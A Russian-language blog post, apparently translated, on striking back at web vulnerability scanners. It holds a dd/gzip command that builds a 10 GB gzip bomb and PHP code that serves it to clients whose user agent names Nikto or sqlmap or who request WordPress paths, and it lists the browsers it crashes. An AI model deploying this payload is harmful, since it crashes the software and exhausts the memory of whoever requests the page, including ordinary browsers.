Полезное

Полезное

Life-Hack

Если вы когда-нибудь размещали веб-сайт или даже администрировали сервера, то очень хорошо осведомлены о "плохих людях, которые пытаются сделать плохие вещи с вашими вещами". Если у вас есть сервер Linux с SSH, то он возможно уже подвергаются атаке. Вы можете увидеть сколько соединений каждый день делают попытки:

grep 'authentication failures' /var/log/auth.log

Сотни неудачных попыток даже несмотря на то, что этот сервер отключил проверку пароля и работает на нестандартном порту.


WordPress обрекает всех

Если быть честным, web-сканеры уязвимостей существовали до Wordpress, но поскольку он так широко развернут, большинства сканеров включают сканирование для некоторых неправильно настроенных папок администратора или устаревших плагинов. Так что если захотеть, то можно скачать один из сканеров и начать тестирование, в надежде получить доступ к сайту и его порчу.

Пример лог-файла во время сканирования с помощью инструмента Nikto


Вот почему всем администраторам серверов или веб-сайтов приходится иметь дело с гигабайтами логов, полным попыток сканирования. Поэтому мне было интересно...


Есть ли способ нанести ответный удар?

После "танцев с бубном" с реализацией IDS или Fail2ban я вспомнил о старой доброй ZIP-бомбе.

Что такое ZIP-бомба?


Сжатие ZIP прекрасно с повторяющимися данными, так что если у вас есть действительно огромный текстовый файл, который состоит из повторяющихся данных, как например все нули, он будет сжимать его действительно хорошо. И это ОЧЕНЬ хорошо.

Как например 42.zip показывает нам, как можно сжать 4.5 Pb (4.500.000 Gb) файл до размера 42 Kb. Когда вы попытаетесь посмотреть на его содержание или распаковать, то скорее всего произойдет переполнение дискового пространства или ОЗУ.


Как использовать ZIP-бомбу против сканера уязвимостей?

К сожалению веб-браузеры не понимают ZIP, но они понимают GZIP. Так что сначала мы должны создать 10 GB файл GZIP, заполненый нулями. Мы могли бы сделать несколько сжатий, но давайте сейчас сделаем проще:

dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip

Создание ZIP-бомбы и проверка ее размера


Можем видеть, что это 10 Mb. Могли бы сделать лучше, но на сейчас достаточно. Теперь, когда мы создали эту веЩь, давайте настроим PHP скрипт, который будет доставлять его к клиенту:

<?php
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');

Ну вот!

Так что мы могли бы использовать это в качестве простой обороны, например:

<?php
$agent = filter_input(INPUT_SERVER, 'HTTP_USER_AGENT');

//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
      sendBomb();
      exit();
}

function sendBomb(){
        //prepare the client to recieve GZIP data. This will not be suspicious
        //since most web servers use GZIP by default
        header("Content-Encoding: gzip");
        header("Content-Length: ".filesize('10G.gzip'));
        //Turn off output buffering
        if (ob_get_level()) ob_end_clean();
        //send the gzipped file to the client
        readfile('10G.gzip');
}

function startsWith($a, $b) {
    return strpos($a, $b) === 0;
}

Таким образом. Что происходит, когда вызывается сценарий?


Клиент и результат


IE 11 - Переполнение памяти, падение IE

Chrome - Выскакивает ошибка о переполнение памяти

Edge - Переполнение памяти

Nikto - Кажется сканирование идет нормально и не выходит ошибку

SQLmap - Переполнение памяти до падения

Safari - Переполнение памяти, затем падает и перезагружается, и т.д...

Chrome (Android) - Выскакивает ошибка о переполнение памяти


(если вы проверили это с другими устройствами/браузерами/скриптами, пожалуйста, дайте ему знать, и он будет добавлять это здесь)

Реакция на вызов скрипта в Chrome


Если вы рискнете: попробуйте сами


Можете поверить на слово 

 у меня от этого Firefox умер и калий перестал реагировать на что либо до перезагрузки. Источник

:)


Report Page